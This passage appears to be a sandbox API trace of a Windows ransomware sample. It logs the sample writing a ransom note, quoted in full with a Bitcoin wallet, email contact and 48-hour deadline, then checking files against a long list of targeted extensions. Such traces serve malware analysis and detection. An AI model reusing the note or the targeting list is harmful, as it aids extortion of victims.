out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\" [0104.280] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\") returned="" [0104.280] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\HOW TO DECRYPT FILES.txt" [0104.280] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationfontcac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\how to decrypt files.txt")) returned 0xffffffff [0104.280] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationfontcac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.281] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.281] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.284] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.284] CloseHandle (hObject=0x90) returned 1 [0104.284] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\", lpString2="PresentationFontCache.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe" [0104.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.ems") returned 0 [0104.284] lstrlenA (lpString="*.ems") returned 5 [0104.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.db") returned 0 [0104.284] lstrlenA (lpString="*.db") returned 4 [0104.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.dbf") returned 0 [0104.284] lstrlenA (lpString="*.dbf") returned 5 [0104.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.myox") returned 0 [0104.284] lstrlenA (lpString="*.myox") returned 6 [0104.284] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.myo") returned 0 [0104.285] lstrlenA (lpString="*.myo") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qbw") returned 0 [0104.285] lstrlenA (lpString="*.qbw") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qbb") returned 0 [0104.285] lstrlenA (lpString="*.qbb") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qbm") returned 0 [0104.285] lstrlenA (lpString="*.qbm") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qbo") returned 0 [0104.285] lstrlenA (lpString="*.qbo") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qbx") returned 0 [0104.285] lstrlenA (lpString="*.qbx") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qba") returned 0 [0104.285] lstrlenA (lpString="*.qba") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qby") returned 0 [0104.285] lstrlenA (lpString="*.qby") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qbj") returned 0 [0104.285] lstrlenA (lpString="*.qbj") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.ofx") returned 0 [0104.285] lstrlenA (lpString="*.ofx") returned 5 [0104.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.qif") returned 0 [0104.285] lstrlenA (lpString="*.qif") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mye") returned 0 [0104.286] lstrlenA (lpString="*.mye") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mbox") returned 0 [0104.286] lstrlenA (lpString="*.mbox") returned 6 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.eml") returned 0 [0104.286] lstrlenA (lpString="*.eml") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.pst") returned 0 [0104.286] lstrlenA (lpString="*.pst") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.ost") returned 0 [0104.286] lstrlenA (lpString="*.ost") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.idx") returned 0 [0104.286] lstrlenA (lpString="*.idx") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.dbx") returned 0 [0104.286] lstrlenA (lpString="*.dbx") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.sql") returned 0 [0104.286] lstrlenA (lpString="*.sql") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mdb") returned 0 [0104.286] lstrlenA (lpString="*.mdb") returned 5 [0104.286] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.fdb") returned 0 [0104.287] lstrlenA (lpString="*.fdb") returned 5 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.wab") returned 0 [0104.287] lstrlenA (lpString="*.wab") returned 5 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.dat") returned 0 [0104.287] lstrlenA (lpString="*.dat") returned 5 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.txt") returned 0 [0104.287] lstrlenA (lpString="*.txt") returned 5 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.jpeg") returned 0 [0104.287] lstrlenA (lpString="*.jpeg") returned 6 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.jpg") returned 0 [0104.287] lstrlenA (lpString="*.jpg") returned 5 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.png") returned 0 [0104.287] lstrlenA (lpString="*.png") returned 5 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.php") returned 0 [0104.287] lstrlenA (lpString="*.php") returned 5 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.cs") returned 0 [0104.287] lstrlenA (lpString="*.cs") returned 4 [0104.287] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.cpp") returned 0 [0104.287] lstrlenA (lpString="*.cpp") returned 5 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.rar") returned 0 [0104.288] lstrlenA (lpString="*.rar") returned 5 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.zip") returned 0 [0104.288] lstrlenA (lpString="*.zip") returned 5 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.html") returned 0 [0104.288] lstrlenA (lpString="*.html") returned 6 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.htm") returned 0 [0104.288] lstrlenA (lpString="*.htm") returned 5 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.xlsx") returned 0 [0104.288] lstrlenA (lpString="*.xlsx") returned 6 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.xls") returned 0 [0104.288] lstrlenA (lpString="*.xls") returned 5 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mp4") returned 0 [0104.288] lstrlenA (lpString="*.mp4") returned 5 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.ppt") returned 0 [0104.288] lstrlenA (lpString="*.ppt") returned 5 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.pptx") returned 0 [0104.288] lstrlenA (lpString="*.pptx") returned 6 [0104.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.doc") returned 0 [0104.289] lstrlenA (lpString="*.doc") returned 5 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.dot") returned 0 [0104.289] lstrlenA (lpString="*.dot") returned 5 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.docx") returned 0 [0104.289] lstrlenA (lpString="*.docx") returned 6 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.7z") returned 0 [0104.289] lstrlenA (lpString="*.7z") returned 4 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.tar") returned 0 [0104.289] lstrlenA (lpString="*.tar") returned 5 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.bz2") returned 0 [0104.289] lstrlenA (lpString="*.bz2") returned 5 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.gz") returned 0 [0104.289] lstrlenA (lpString="*.gz") returned 4 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mkv") returned 0 [0104.289] lstrlenA (lpString="*.mkv") returned 5 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.eml") returned 0 [0104.289] lstrlenA (lpString="*.eml") returned 5 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.msg") returned 0 [0104.289] lstrlenA (lpString="*.msg") returned 5 [0104.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.edb") returned 0 [0104.290] lstrlenA (lpString="*.edb") returned 5 [0104.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.accdb") returned 0 [0104.290] lstrlenA (lpString="*.accdb") returned 7 [0104.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.odb") returned 0 [0104.290] lstrlenA (lpString="*.odb") returned 5 [0104.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.java") returned 0 [0104.290] lstrlenA (lpString="*.java") returned 6 [0104.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.asm") returned 0 [0104.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.pfx") returned 0 [0104.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.pem") returned 0 [0104.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.p12") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.gpg") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.vsd") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.odg") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.raw") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.nef") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.svg") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.psd") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.vmx") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.vmdk") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.vdi") returned 0 [0104.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.lay6") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mpeg") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.djvu") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.tiff") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.backup") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.pdf") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.cert") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.docm") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.xlsm") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.dwg") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.nd") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.tlg") returned 0 [0104.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.lgb") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mov") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.xdw") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.ods") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.wav") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.mp3") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.aiff") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.flac") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.m4a") returned 0 [0104.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFontCac#\\b3ade8d5c0d4bb5d4940bcafd3453642\\PresentationFontCache.ni.exe", pszSpec="*.csv") returned 0 [0104.293] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x719bf224, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x719bf224, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x719bf224, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, 